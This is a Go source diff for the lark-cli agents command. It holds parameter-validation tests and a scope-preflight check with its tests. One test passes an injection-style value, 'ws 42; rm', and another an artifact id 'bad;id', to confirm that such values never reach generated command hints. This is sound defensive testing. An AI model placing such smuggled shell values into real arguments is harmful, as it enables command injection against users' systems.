+// TestValidateParams_NoFalseMissingOnInvalidValue pins the review fix: a
+// required param given an INVALID value reports exactly the value violation —
+// never an additional contradictory "缺少必填参数"; and a duplicate after an
+// invalid first value is reported as duplicate, not as the same violation twice.
+func TestValidateParams_NoFalseMissingOnInvalidValue(t *testing.T) {
+	spec := paramSpec()
+	// make workspace_id enum-constrained for this test via a local declaration
+	decl := []iagents.CardParam{{Name: "mode", Type: "string", Required: true, Enum: []string{"a", "b"}}}
+	_, err := validateParams([]string{"mode=zzz"}, decl, iagents.VerbSend, spec, "acme:reporter")
+	var verr *errs.ValidationError
+	if !errors.As(err, &verr) {
+		t.Fatalf("want validation error, got %T", err)
+	}
+	if len(verr.Params) != 1 {
+		t.Fatalf("invalid value must yield exactly 1 violation (no false missing-required), got %d: %+v", len(verr.Params), verr.Params)
+	}
+	if !strings.Contains(verr.Params[0].Reason, "a|b") {
+		t.Errorf("the one violation should be the enum violation, got %+v", verr.Params[0])
+	}
+	// duplicate after invalid first value → enum violation + duplicate violation
+	_, err = validateParams([]string{"mode=zzz", "mode=zzz"}, decl, iagents.VerbSend, spec, "acme:reporter")
+	if !errors.As(err, &verr) {
+		t.Fatalf("want validation error, got %T", err)
+	}
+	if len(verr.Params) != 2 {
+		t.Fatalf("want enum violation + duplicate violation, got %d: %+v", len(verr.Params), verr.Params)
+	}
+	kinds := verr.Params[0].Reason + verr.Params[1].Reason
+	if !strings.Contains(kinds, "a|b") || !strings.Contains(kinds, "重复提供") {
+		t.Errorf("want one enum + one duplicate violation, got %+v", verr.Params)
+	}
+}
+
+// objSpec is the object-param test bed: send declares a filter object
+// (required enum leaf + optional ranged leaf + defaulted bool leaf) and a
+// NoCarry trace param shared with task_get.
+func objSpec() *iagents.AgentSpec {
+	trace := iagents.CardParam{Name: "trace_tag", NoCarry: true, Required: true, Desc: "调用链标记（每次新值）"}
+	return &iagents.AgentSpec{
+		Send: iagents.SendOp{
+			Params: []iagents.CardParam{
+				trace,
+				{Name: "filter", Type: "object", Desc: "过滤条件", Fields: []iagents.CardParam{
+					{Name: "region", Enum: []string{"east", "west"}, Required: true},
+					{Name: "min_amount", Type: "number", Min: iagents.Float(0)},
+					{Name: "active", Type: "boolean", Default: "true"},
+				}},
+			},
+			Handler: func(context.Context, iagents.Runtime, iagents.SendInput) (*iagents.AgentTask, error) { return nil, nil },
+		},
+		GetTask: iagents.TaskGetOp{
+			Params:  []iagents.CardParam{trace},
+			Handler: func(context.Context, iagents.Runtime, string) (*iagents.AgentTask, error) { return nil, nil },
+		},
+	}
+}
+
+// TestValidateParams_ObjectDottedChannel pins the primary object transport:
+// dotted leaves validate with leaf rules, defaults backfill per leaf, and the
+// canonical Resolved form is flat dotted keys.
+func TestValidateParams_ObjectDottedChannel(t *testing.T) {
+	spec := objSpec()
+	vp, err := validateParams(
+		[]string{"trace_tag=t1", "filter.region=east", "filter.min_amount=100"},
+		spec.Send.Params, iagents.VerbSend, spec, "acme:reporter")
+	if err != nil {
+		t.Fatalf("valid dotted set should pass: %v", err)
+	}
+	if vp.Resolved["filter.region"] != "east" || vp.Resolved["filter.min_amount"] != "100" {
+		t.Errorf("dotted leaves should land flat in Resolved, got %v", vp.Resolved)
+	}
+	if vp.Resolved["filter.active"] != "true" {
+		t.Errorf("leaf default should backfill, got %v", vp.Resolved)
+	}
+
+	// leaf teaching errors carry the dotted path
+	_, err = validateParams([]string{"trace_tag=t1", "filter.region=north"}, spec.Send.Params, iagents.VerbSend, spec, "acme:reporter")
+	if err == nil || !strings.Contains(err.Error(), "filter.region") || !strings.Contains(err.Error(), "east|west") {
+		t.Fatalf("leaf enum violation should carry the dotted path + full set, got %v", err)
+	}
+	// unknown leaf lists the object's field set
+	_, err = validateParams([]string{"trace_tag=t1", "filter.region=east", "filter.regoin=east"}, spec.Send.Params, iagents.VerbSend, spec, "acme:reporter")
+	if err == nil || !strings.Contains(err.Error()+errHint(err), "filter 可用字段") {
+		t.Fatalf("unknown leaf should list the field set, got %v", err)
+	}
+	// missing required leaf reported with dotted name
+	_, err = validateParams([]string{"trace_tag=t1"}, spec.Send.Params, iagents.VerbSend, spec, "acme:reporter")
+	if err == nil || !strings.Contains(err.Error(), "filter.region") {
+		t.Fatalf("missing required leaf should be reported by dotted name, got %v", err)
+	}
+}
+
+// TestValidateParams_ObjectJSONChannel pins the fallback transport: a JSON
+// value validates per leaf and NORMALIZES into the same flat dotted keys — the
+// provider cannot tell which channel the caller used. Mixing channels for one
+// object is rejected.
+func TestValidateParams_ObjectJSONChannel(t *testing.T) {
+	spec := objSpec()
+	vp, err := validateParams(
+		[]string{"trace_tag=t1", `filter={"region":"east","min_amount":100}`},
+		spec.Send.Params, iagents.VerbSend, spec, "acme:reporter")
+	if err != nil {
+		t.Fatalf("valid JSON object should pass: %v", err)
+	}
+	if vp.Resolved["filter.region"] != "east" || vp.Resolved["filter.min_amount"] != "100" {
+		t.Errorf("JSON members should normalize to flat dotted keys (numbers literal), got %v", vp.Resolved)
+	}
+	if vp.Resolved["filter.active"] != "true" {
+		t.Errorf("leaf default should backfill on the JSON channel too, got %v", vp.Resolved)
+	}
+
+	// invalid JSON → teaching error pointing at the dotted alternative（多违规时
+	// 摘要在 message、明细在 params[]，用 listReasons 断言）
+	_, err = validateParams([]string{"trace_tag=t1", "filter={not json"}, spec.Send.Params, iagents.VerbSend, spec, "acme:reporter")
+	if err == nil || !strings.Contains(listReasons(err), "JSON 无法解析") {
+		t.Fatalf("bad JSON should teach, got %v", err)
+	}
+	if !strings.Contains(listReasons(err), "点路径") {
+		t.Fatalf("bad JSON error should point at the dotted alternative, got %v", listReasons(err))
+	}
+	// member enum violation carries the dotted path
+	_, err = validateParams([]string{"trace_tag=t1", `filter={"region":"north"}`}, spec.Send.Params, iagents.VerbSend, spec, "acme:reporter")
+	if err == nil || !strings.Contains(err.Error(), "filter.region") {
+		t.Fatalf("JSON member violation should carry the dotted path, got %v", err)
+	}
+	// unknown member listed against the field set
+	_, err = validateParams([]string{"trace_tag=t1", `filter={"region":"east","foo":1}`}, spec.Send.Params, iagents.VerbSend, spec, "acme:reporter")
+	if err == nil || !strings.Contains(err.Error()+errHint(err), "filter 可用字段") {
+		t.Fatalf("unknown JSON member should list fields, got %v", err)
+	}
+	// channel mixing rejected
+	_, err = validateParams([]string{"trace_tag=t1", `filter={"region":"east"}`, "filter.active=false"}, spec.Send.Params, iagents.VerbSend, spec, "acme:reporter")
+	if err == nil || !strings.Contains(err.Error()+listReasons(err), "混合提供") {
+		t.Fatalf("channel mixing should be rejected, got %v", err)
+	}
+}
+
+// listReasons flattens all violation reasons for containment asserts.
+func listReasons(err error) string {
+	var verr *errs.ValidationError
+	if !errors.As(err, &verr) {
+		return ""
+	}
+	var b strings.Builder
+	for _, v := range verr.Params {
+		b.WriteString(v.Reason)
+	}
+	return b.String()
+}
+
+// TestParamArgsFor_ObjectAndNoCarry pins the carry semantics: object leaves
+// carry as ordinary scalars; NoCarry params never ride literally — required
+// ones degrade to placeholders so the caller supplies a FRESH value.
+func TestParamArgsFor_ObjectAndNoCarry(t *testing.T) {
+	spec := objSpec()
+	given := map[string]string{"trace_tag": "t1", "filter.region": "east", "filter.min_amount": "100"}
+	args, tpl := paramArgsFor(spec, iagents.VerbSend, given)
+	if strings.Contains(args, "trace_tag=t1") {
+		t.Errorf("NoCarry param must never ride literally, got %q", args)
+	}
+	if !strings.Contains(args, "--param trace_tag=<trace_tag>") || !tpl {
+		t.Errorf("required NoCarry should degrade to a placeholder, got %q tpl=%v", args, tpl)
+	}
+	if !strings.Contains(args, "--param filter.region=east") || !strings.Contains(args, "--param filter.min_amount=100") {
+		t.Errorf("object leaves should carry as ordinary scalars, got %q", args)
+	}
+	// target verb without the object (task_get) → only its own declaration carries
+	args, _ = paramArgsFor(spec, iagents.VerbTaskGet, given)
+	if strings.Contains(args, "filter") {
+		t.Errorf("params undeclared on the target verb must not carry, got %q", args)
+	}
+}
+
+func errHint(err error) string {
+	if p, ok := errs.ProblemOf(err); ok {
+		return p.Hint
+	}
+	return ""
+}
+
+// TestValidateParams_DefaultBackfill pins Resolved vs Given: defaults land in
+// Resolved (what the hook sees) but never in Given (what meta.next carries).
+func TestValidateParams_DefaultBackfill(t *testing.T) {
+	spec := paramSpec()
+	vp, err := validateParams([]string{"workspace_id=ws_42"}, spec.Send.Params, iagents.VerbSend, spec, "acme:reporter")
+	if err != nil {
+		t.Fatalf("should pass: %v", err)
+	}
+	if vp.Resolved["priority"] != "normal" || vp.Resolved["max_results"] != "20" {
+		t.Errorf("defaults should backfill Resolved, got %v", vp.Resolved)
+	}
+	if _, ok := vp.Given["priority"]; ok {
+		t.Errorf("defaults must NOT appear in Given (meta.next noise), got %v", vp.Given)
+	}
+	// an explicitly provided value overrides the default in Resolved
+	vp2, _ := validateParams([]string{"workspace_id=ws_42", "priority=high"}, spec.Send.Params, iagents.VerbSend, spec, "acme:reporter")
+	if vp2.Resolved["priority"] != "high" || vp2.Given["priority"] != "high" {
+		t.Errorf("explicit value should override default, got %v / %v", vp2.Resolved, vp2.Given)
+	}
+}
+
+// TestParamArgsFor pins the three-way carry rule.
+func TestParamArgsFor(t *testing.T) {
+	spec := paramSpec()
+	// 1) given + whitelisted → literal carry (declaration order)
+	args, tpl := paramArgsFor(spec, iagents.VerbSend, map[string]string{"workspace_id": "ws_42", "priority": "high"})
+	if args != " --param workspace_id=ws_42 --param priority=high" || tpl {
+		t.Errorf("literal carry wrong: %q tpl=%v", args, tpl)
+	}
+	// 2) given but whitelist-failing → required degrades to placeholder,
+	//    optional drops
+	args, tpl = paramArgsFor(spec, iagents.VerbSend, map[string]string{"workspace_id": "ws 42; rm", "priority": "值 带 空格"})
+	if !strings.Contains(args, "--param workspace_id=<workspace_id>") || strings.Contains(args, "priority") || !tpl {
+		t.Errorf("degrade rule wrong: %q tpl=%v", args, tpl)
+	}
+	// 3) absent but required on the target verb → placeholder (cross-verb hole)
+	args, tpl = paramArgsFor(spec, iagents.VerbTaskList, map[string]string{})
+	if args != " --param workspace_id=<workspace_id>" || !tpl {
+		t.Errorf("required-absent placeholder wrong: %q tpl=%v", args, tpl)
+	}
+	// nil spec / unknown verb carry nothing
+	if a, _ := paramArgsFor(nil, iagents.VerbSend, nil); a != "" {
+		t.Errorf("nil spec should carry nothing, got %q", a)
+	}
+}
+
+// TestNextForTaskCarriesParams pins the wired outcome: a send with given params
+// yields a poll hint carrying them literally.
+func TestNextForTaskCarriesParams(t *testing.T) {
+	spec := paramSpec()
+	task := &iagents.AgentTask{TaskID: "task_1", State: iagents.StateWorking}
+	// task_get declares no params on this spec → nothing to carry for the poll
+	next := nextForTask("acme:reporter", task, spec, map[string]string{"workspace_id": "ws_42"}, iagents.VerbSend)
+	if len(next) != 1 || strings.Contains(next[0].Command, "--param") {
+		t.Fatalf("task_get declares no params, poll hint should carry none: %+v", next)
+	}
+	// give task_get a required param → the poll hint must carry it
+	spec.GetTask.Params = []iagents.CardParam{{Name: "workspace_id", Type: "string", Required: true}}
+	next = nextForTask("acme:reporter", task, spec, map[string]string{"workspace_id": "ws_42"}, iagents.VerbSend)
+	if !strings.Contains(next[0].Command, "--param workspace_id=ws_42") {
+		t.Fatalf("poll hint should carry the given required param: %+v", next)
+	}
+	// absent → placeholder + template
+	next = nextForTask("acme:reporter", task, spec, nil, iagents.VerbSend)
+	if !strings.Contains(next[0].Command, "--param workspace_id=<workspace_id>") || !next[0].Template {
+		t.Fatalf("absent required should degrade to placeholder+template: %+v", next)
+	}
+}
+
+// TestArtifactNext pins the per-artifact download hints: terminal task +
+// wired DownloadArtifact → one template hint per whitelisted artifact id;
+// whitelist-failing ids are skipped (never interpolated).
+func TestArtifactNext(t *testing.T) {
+	spec := paramSpec()
+	spec.DownloadArtifact = iagents.ArtifactDownloadOp{
+		Params:  []iagents.CardParam{{Name: "workspace_id", Type: "string", Required: true}},
+		Handler: func(context.Context, iagents.Runtime, string, string) (*iagents.ArtifactData, error) { return nil, nil },
+	}
+	task := &iagents.AgentTask{
+		TaskID: "task_1", State: iagents.StateCompleted, IsTerminal: true,
+		Artifacts: []iagents.Artifact{{ID: "art_1"}, {ID: "bad;id"}, {ID: "art_2"}},
+	}
+	next := nextForTask("acme:reporter", task, spec, map[string]string{"workspace_id": "ws_42"}, iagents.VerbSend)
+	var downloads []string
+	for _, n := range next {
+		if strings.Contains(n.Command, "--artifact") {
+			downloads = append(downloads, n.Command)
+			if !n.Template {
+				t.Errorf("download hint has a -o placeholder, must be template: %+v", n)
+			}
+		}
+	}
+	if len(downloads) != 2 {
+		t.Fatalf("want 2 download hints (bad;id skipped), got %d: %v", len(downloads), downloads)
+	}
+	for _, c := range downloads {
+		if !strings.Contains(c, "--param workspace_id=ws_42") || !strings.Contains(c, "-o <保存路径>") {
+			t.Errorf("download hint should carry params and the -o placeholder: %q", c)
+		}
+		if strings.Contains(c, "bad;id") {
+			t.Errorf("whitelist-failing artifact id leaked: %q", c)
+		}
+	}
+	// unwired DownloadArtifact → no hints
+	spec.DownloadArtifact = iagents.ArtifactDownloadOp{}
+	if n := artifactNext("acme:reporter", task, spec, nil); n != nil {
+		t.Errorf("unwired artifact_download should produce no hints, got %+v", n)
+	}
+}
+
+// TestCardOperationSubquery pins `card --operation <verb>` against the real
+// example provider: reporter's send contract carries command + parameters;
+// unknown verb lists the vocabulary; unwired verb answers supported:false; a
+// wired zero-param verb answers parameters:[].
+func TestCardOperationSubquery(t *testing.T) {
+	decode := func(t *testing.T, opts *cardOptions) map[string]any {
+		t.Helper()
+		out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
+		if err := agentCardRun(opts); err != nil {
+			t.Fatalf("card --operation should not error: %v", err)
+		}
+		var env struct {
+			Data map[string]any `json:"data"`
+		}
+		if err := json.Unmarshal(out.Bytes(), &env); err != nil {
+			t.Fatalf("invalid envelope: %v", err)
+		}
+		return env.Data
+	}
+
+	opts, _ := cardTestOpts(t, "example:reporter")
+	opts.Operation = "send"
+	data := decode(t, opts)
+	if data["operation"] != "send" || data["supported"] != true {
+		t.Fatalf("send contract wrong: %v", data)
+	}
+	if cmdStr, _ := data["command"].(string); !strings.Contains(cmdStr, "lark-cli agents send") {
+		t.Errorf("contract should carry the command template, got %v", data["command"])
+	}
+	params, _ := data["parameters"].([]any)
+	if len(params) != 3 {
+		t.Fatalf("reporter send declares 3 demo params (2 scalars + render object), got %v", data["parameters"])
+	}
+	first, _ := params[0].(map[string]any)
+	if first["name"] != "report_format" || first["default"] != "csv" {
+		t.Errorf("first param should be report_format with default csv, got %v", first)
+	}
+
+	// unwired verb → supported:false
+	opts2, _ := cardTestOpts(t, "example:echo")
+	opts2.Operation = "task_cancel"
+	data = decode(t, opts2)
+	if data["supported"] != false {
+		t.Errorf("echo task_cancel should be supported:false, got %v", data)
+	}
+
+	// wired zero-param verb → parameters []
+	opts3, _ := cardTestOpts(t, "example:echo")
+	opts3.Operation = "context_delete"
+	data = decode(t, opts3)
+	if data["supported"] != true {
+		t.Fatalf("echo context_delete should be supported, got %v", data)
+	}
+	if ps, ok := data["parameters"].([]any); !ok || len(ps) != 0 {
+		t.Errorf("zero-param op should answer parameters:[], got %v", data["parameters"])
+	}
+
+	// unknown verb → invalid_argument listing the vocabulary
+	opts4, _ := cardTestOpts(t, "example:echo")
+	opts4.Operation = "sennd"
+	err := agentCardRun(opts4)
+	if err == nil || !strings.Contains(err.Error(), "task_get") || !strings.Contains(err.Error(), "all") {
+		t.Fatalf("unknown verb should list the vocabulary, got %v", err)
+	}
+	if p, ok := errs.ProblemOf(err); !ok || p.Subtype != errs.SubtypeInvalidArgument {
+		t.Fatalf("unknown verb should be invalid_argument, got %+v", p)
+	}
+}
+
+// TestCardOperationInstanceShape pins the review fix: on an INSTANCE provider
+// (fakeflow), the single-verb --operation output reuses the struct — an
+// unwired verb carries NO command key (omitempty, not command:"") and every
+// response carries parameters_source:"template".
+func TestCardOperationInstanceShape(t *testing.T) {
+	registerScripted()
+	opts, _ := cardTestOpts(t, "fakemin:agt_x")
+	opts.Operation = "task_cancel" // minimalSpec leaves CancelTask unwired
+	out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
+	if err := agentCardRun(opts); err != nil {
+		t.Fatalf("card --operation should not error: %v", err)
+	}
+	var env struct {
+		Data map[string]any `json:"data"`
+	}
+	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
+		t.Fatalf("invalid envelope: %v", err)
+	}
+	if env.Data["supported"] != false {
+		t.Fatalf("task_cancel should be unsupported on the scripted spec, got %v", env.Data)
+	}
+	if _, present := env.Data["command"]; present {
+		t.Errorf("unwired verb must not carry a command key (omitempty), got %v", env.Data["command"])
+	}
+	if env.Data["parameters_source"] != "template" {
+		t.Errorf("instance provider --operation should carry parameters_source:template, got %v", env.Data)
+	}
+}
+
+// TestCardOperationAll pins the one-shot full map: every verb present, wired
+// ones carrying command+parameters.
+func TestCardOperationAll(t *testing.T) {
+	opts, _ := cardTestOpts(t, "example:reporter")
+	opts.Operation = "all"
+	out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
+	if err := agentCardRun(opts); err != nil {
+		t.Fatalf("card --operation all should not error: %v", err)
+	}
+	var env struct {
+		Data struct {
+			Operations map[string]map[string]any `json:"operations"`
+		} `json:"data"`
+	}
+	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
+		t.Fatalf("invalid envelope: %v", err)
+	}
+	if len(env.Data.Operations) != 8 {
+		t.Fatalf("all should enumerate 8 operations, got %d", len(env.Data.Operations))
+	}
+	send := env.Data.Operations["send"]
+	if send["supported"] != true {
+		t.Errorf("reporter send should be supported, got %v", send)
+	}
+	if ps, _ := send["parameters"].([]any); len(ps) != 3 {
+		t.Errorf("reporter send should carry its 3 demo params, got %v", send["parameters"])
+	}
+}
+
+// TestCardLeanHasParameters pins the lean card cue on the real reporter: send
+// appears in has_parameters (it declares demo params), context_delete does not.
+func TestCardLeanHasParameters(t *testing.T) {
+	opts, _ := cardTestOpts(t, "example:reporter")
+	out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
+	if err := agentCardRun(opts); err != nil {
+		t.Fatalf("card should not error: %v", err)
+	}
+	var env struct {
+		Data struct {
+			HasParameters []string `json:"has_parameters"`
+		} `json:"data"`
+	}
+	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
+		t.Fatalf("invalid envelope: %v", err)
+	}
+	if len(env.Data.HasParameters) != 1 || env.Data.HasParameters[0] != "send" {
+		t.Fatalf("reporter has_parameters should be [send], got %v", env.Data.HasParameters)
+	}
+}
+
+// TestSendValidatesDeclaredParams drives the full send path against the real
+// reporter declaration: enum violation fails offline; a valid --param passes
+// through to dry-run with defaults backfilled.
+func TestSendValidatesDeclaredParams(t *testing.T) {
+	opts := sendTestOpts(t)
+	opts.Ref = "example:reporter"
+	opts.Text = "报表"
+	opts.Params = []string{"report_format=pdf"}
+	err := agentSendRun(opts)
+	if err == nil || !strings.Contains(err.Error(), "csv|xlsx") {
+		t.Fatalf("enum violation should fail offline listing the set, got %v", err)
+	}
+
+	opts2 := sendTestOpts(t)
+	opts2.Ref = "example:reporter"
+	opts2.Text = "报表"
+	opts2.Params = []string{"report_format=xlsx"}
+	opts2.DryRun = true
+	out := opts2.Factory.IOStreams.Out.(interface{ Bytes() []byte })
+	if err := agentSendRun(opts2); err != nil {
+		t.Fatalf("valid param should pass: %v", err)
+	}
+	var env struct {
+		Data struct {
+			WouldSend struct {
+				Params map[string]string `json:"params"`
+			} `json:"would_send"`
+		} `json:"data"`
+	}
+	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
+		t.Fatalf("invalid envelope: %v", err)
+	}
+	if env.Data.WouldSend.Params["report_format"] != "xlsx" || env.Data.WouldSend.Params["quarters"] != "4" {
+		t.Fatalf("dry-run should show the resolved params (default quarters=4 backfilled), got %v", env.Data.WouldSend.Params)
+	}
+}
+
+// TestListRejectsParams pins the two list guards: --param without a scheme is
+// rejected outright; --param on a catalog scheme validates against the empty
+// set with the list-specific hint.
+func TestListRejectsParams(t *testing.T) {
+	opts, _ := listFactory()
+	opts.Params = []string{"env=boe"}
+	err := agentListRun(opts)
+	if err == nil || !strings.Contains(err.Error(), "仅在 agents list <scheme>") {
+		t.Fatalf("no-scheme --param should be rejected, got %v", err)
+	}
+
+	opts2, _ := listFactory()
+	opts2.Scheme = "example"
+	opts2.Params = []string{"env=boe"}
+	err = agentListRun(opts2)
+	if err == nil {
+		t.Fatal("catalog scheme with --param should be rejected (zero-param op)")
+	}
+	if p, ok := errs.ProblemOf(err); !ok || !strings.Contains(p.Hint, "list_parameters") {
+		t.Fatalf("list param error hint should point at providers[].list_parameters, got %+v", p)
+	}
+}

cmd/agents/preflight.go

@@ -0,0 +1,216 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package agents
+
+import (
+	"context"
+	"encoding/json"
+	"fmt"
+	"sort"
+	"strings"
+	"time"
+
+	"github.com/larksuite/cli/errs"
+	iagents "github.com/larksuite/cli/internal/agents"
+	"github.com/larksuite/cli/internal/appmeta"
+	larkauth "github.com/larksuite/cli/internal/auth"
+	"github.com/larksuite/cli/internal/client"
+	"github.com/larksuite/cli/internal/cmdutil"
+	"github.com/larksuite/cli/internal/core"
+)
+
+// This file implements the scope preflight: after the provider is resolved and
+// before the real API call, the session's available scopes are checked against
+// the provider's RequiredScopes. The check is all-or-nothing — any real API verb
+// requires the provider's entire scope set. For USER identity the scope list is
+// read locally from the credential cache (no network); for BOT identity it is
+// the app's published TenantScopes, fetched best-effort (a fetch failure
+// downgrades the check to a no-op, like event's console precheck). A missing
+// scope surfaces as a missing_scope permission error (exit 3) with an
+// identity-appropriate remediation hint instead of a round-trip API 99991679.
+// `--dry-run` never reaches it (dry-run returns before the provider is resolved).
+
+// storedUserScopes is the token-scope read seam: it returns the granted scope
+// list of the stored user token from the LOCAL credential cache (keychain via
+// GetStoredToken — same read path as `auth check`), issuing no network
+// request. nil/empty means "no usable local scope list" and the caller skips
+// preflight. Tests swap it so no unit test touches the real keychain.
+var storedUserScopes = func(f *cmdutil.Factory) []string {
+	if f == nil || f.Config == nil {
+		return nil
+	}
+	config, err := f.Config()
+	if err != nil || config == nil || config.UserOpenId == "" {
+		return nil
+	}
+	stored := larkauth.GetStoredToken(config.AppID, config.UserOpenId)
+	if stored == nil {
+		return nil
+	}
+	return strings.Fields(stored.Scope)
+}
+
+// preflightInput is the pure input of preflightScopes, so the check itself is
+// unit-testable without a Factory, keychain, or provider client.
+type preflightInput struct {
+	Identity    core.Identity
+	TokenScopes []string
+	Provider    iagents.Provider
+}
+
+// preflightScopes runs the local scope check. It returns nil when the check
+// does not apply — bot identity (handled elsewhere) or an unreadable/empty local
+// scope list (the downstream not_configured / need-authorization logic owns
+// that). The check is all-or-nothing: when any scope in the provider's
+// RequiredScopes set is not granted it returns the missing_scope permission
+// error (exit 3, mirroring the event-consume scope preflight) carrying every
+// missing scope, with a re-auth hint listing ONLY the missing scopes.
+//
+// The hint lists just the missing scopes (not a merge with existing grants):
+// the open platform authorizes INCREMENTALLY — re-login with only the missing
+// scopes keeps every previously-granted scope — so re-requesting the existing
+// grants would be redundant. This mirrors cmd/event's scopeRemediationHint.
+func preflightScopes(in preflightInput) error {
+	// No usable scope list → skip (user not logged in, or bot has no published
+	// version / the fetch failed); the downstream not_configured / API error owns
+	// that path.
+	if len(in.TokenScopes) == 0 {
+		return nil
+	}
+	// Only user / bot carry a scope-list concept.
+	if in.Identity != core.AsUser && !in.Identity.IsBot() {
+		return nil
+	}
+
+	granted := make(map[string]bool, len(in.TokenScopes))
+	for _, s := range in.TokenScopes {
+		granted[s] = true
+	}
+
+	var missing []string
+	for _, scope := range in.Provider.RequiredScopes {
+		if !granted[scope] {
+			missing = append(missing, scope)
+		}
+	}
+	if len(missing) == 0 {
+		return nil
+	}
+	sort.Strings(missing)
+
+	return errs.NewPermissionError(errs.SubtypeMissingScope,
+		"当前 %s 身份缺少本命令所需 scope: %s", in.Identity, strings.Join(missing, ", ")).
+		WithIdentity(string(in.Identity)).
+		WithMissingScopes(missing...).
+		WithHint("%s", scopeRemediationHint(in.Identity, missing))
+}
+
+// scopeRemediationHint returns an identity-appropriate fix for the missing
+// scopes, mirroring cmd/event's scopeRemediationHint split:
+//   - user: re-login requesting ONLY the missing scopes — the open platform
+//     authorizes incrementally, so previously-granted scopes are preserved (no
+//     merge needed).
+//   - bot: the tenant token's scopes come from the app's published version, so
+//     the fix is to add the scopes to the app in the developer console and
+//     re-publish — not a per-token re-auth. (event additionally offers a
+//     one-click scan-to-enable deep link; that generator lives in cmd/event and
+//     is not duplicated here.)
+func scopeRemediationHint(id core.Identity, missing []string) string {
+	if id.IsBot() {
+		return fmt.Sprintf(
+			"the bot (tenant) token's scopes come from the app's published version — add these scopes to the app in the developer console and re-publish: %s",
+			strings.Join(missing, " "))
+	}
+	// Canonical repo-wide auth login --scope remediation phrasing (see
+	// cmd/event, shortcuts/*). Only the missing scopes are listed — the open
+	// platform authorizes incrementally, so existing grants are preserved.
+	return fmt.Sprintf(
+		"run `lark-cli auth login --scope \"%s\"` in the background. It blocks and outputs a verification URL — retrieve the URL and open it in a browser to complete login.",
+		strings.Join(missing, " "))
+}
+
+// preflightScopesForRef is the ref-addressed wrapper: it parses ref for its
+// scheme and delegates to preflightScopesForScheme. An unparsable ref yields nil
+// — the preflight is an accelerator, never a new failure mode; the paths that
+// validate ref/scheme for real have already run inside resolveSpec.
+func preflightScopesForRef(f *cmdutil.Factory, id core.Identity, ref string) error {
+	r, err := iagents.ParseRef(ref)
+	if err != nil {
+		return nil //nolint:nilerr // preflight is best-effort: resolveSpec already surfaced any real ref error
+	}
+	return preflightScopesForScheme(f, id, r.Scheme)
+}
+
+// preflightScopesForScheme is the scheme-keyed core of the preflight, shared by
+// the ref-addressed verbs (via preflightScopesForRef) and the online
+// `agents list <scheme>` enumeration, which has no agent_id. It resolves the
+// provider registration for the scheme, reads the stored scopes through the
+// identity-appropriate seam, and runs the same all-or-nothing check against the
+// provider's full RequiredScopes. Any gap in its own inputs (nil Factory,
+// unregistered scheme, empty RequiredScopes) yields nil.
+func preflightScopesForScheme(f *cmdutil.Factory, id core.Identity, scheme string) error {
+	if f == nil {
+		return nil
+	}
+	prov, ok := iagents.Info(scheme)
+	if !ok || len(prov.RequiredScopes) == 0 {
+		return nil // no scopes to check (e.g. the example mock declares none)
+	}
+
+	var tokenScopes []string
+	switch {
+	case id == core.AsUser:
+		tokenScopes = storedUserScopes(f) // local keychain read, no network
+	case id.IsBot():
+		tokenScopes = botTenantScopes(f) // best-effort app-version fetch
+	default:
+		return nil
+	}
+	return preflightScopes(preflightInput{Identity: id, TokenScopes: tokenScopes, Provider: prov})
+}
+
+// botTenantScopes is the bot-scope read seam: it fetches the app's
+// currently-published version and returns its TenantScopes (the scopes a tenant
+// token actually carries). Any failure — no client, no published version,
+// network / appmeta error — yields nil so the caller skips the check (weak
+// dependency, mirroring event's console precheck downgrade). Tests swap it so no
+// unit test touches the network.
+var botTenantScopes = func(f *cmdutil.Factory) []string {
+	if f == nil || f.Config == nil {
+		return nil
+	}
+	config, err := f.Config()
+	if err != nil || config == nil || config.AppID == "" {
+		return nil
+	}
+	apiClient, err := f.NewAPIClient()
+	if err != nil {
+		return nil
+	}
+	ctx, cancel := context.WithTimeout(context.Background(), 10*time.Second)
+	defer cancel()
+	appVer, err := appmeta.FetchCurrentPublished(ctx, &appmetaBotClient{client: apiClient}, config.AppID)
+	if err != nil || appVer == nil {
+		return nil
+	}
+	return appVer.TenantScopes
+}
+
+// appmetaBotClient adapts *client.APIClient to appmeta's APIClient shape under a
+// pinned bot identity (/app_versions is app-level and rejects UAT). It returns
+// the raw JSON body for appmeta to project; any non-typed transport error is
+// classified so callers only see typed errs.* values (though botTenantScopes
+// treats every error as a no-op anyway).
+type appmetaBotClient struct{ client *client.APIClient }
+
+func (c *appmetaBotClient) CallAPI(ctx context.Context, method, path string, body interface{}) (json.RawMessage, error) {
+	resp, err := c.client.DoAPI(ctx, client.RawApiRequest{Method: method, URL: path, Data: body, As: core.AsBot})
+	if err != nil {
+		if _, ok := errs.ProblemOf(err); ok {
+			return nil, err
+		}
+		return nil, errs.NewNetworkError(errs.SubtypeNetworkTransport, "api %s %s: %s", method, path, err).WithCause(err)
+	}
+	return json.RawMessage(resp.RawBody), nil
+}

cmd/agents/preflight_test.go

@@ -0,0 +1,434 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package agents
+
+import (
+	"context"
+	"errors"
+	"reflect"
+	"strings"
+	"testing"
+
+	"github.com/spf13/cobra"
+
+	"github.com/larksuite/cli/errs"
+	iagents "github.com/larksuite/cli/internal/agents"
+	"github.com/larksuite/cli/internal/cmdutil"
+	"github.com/larksuite/cli/internal/core"
+	"github.com/larksuite/cli/internal/httpmock"
+	"github.com/larksuite/cli/internal/output"
+)
+
+// scopedInfo fetches the registered fakescoped ProviderInfo (4 RequiredScopes,
+// see scripted_provider_test.go) — the all-or-nothing preflight requires every
+// one of fakescopedAllScopes for any real API verb.
+func scopedInfo(t *testing.T) iagents.Provider {
+	t.Helper()
+	registerScripted()
+	prov, ok := iagents.Info("fakescoped")
+	if !ok {
+		t.Fatal("fakescoped provider should be registered")
+	}
+	return prov
+}
+
+// requirePreflightError asserts err is the missing_scope permission error
+// (exit 3, mirroring the event-consume scope preflight) and returns the typed
+// value for field assertions.
+func requirePreflightError(t *testing.T, err error) *errs.PermissionError {
+	t.Helper()
+	if err == nil {
+		t.Fatal("want missing_scope error, got nil")
+	}
+	var pe *errs.PermissionError
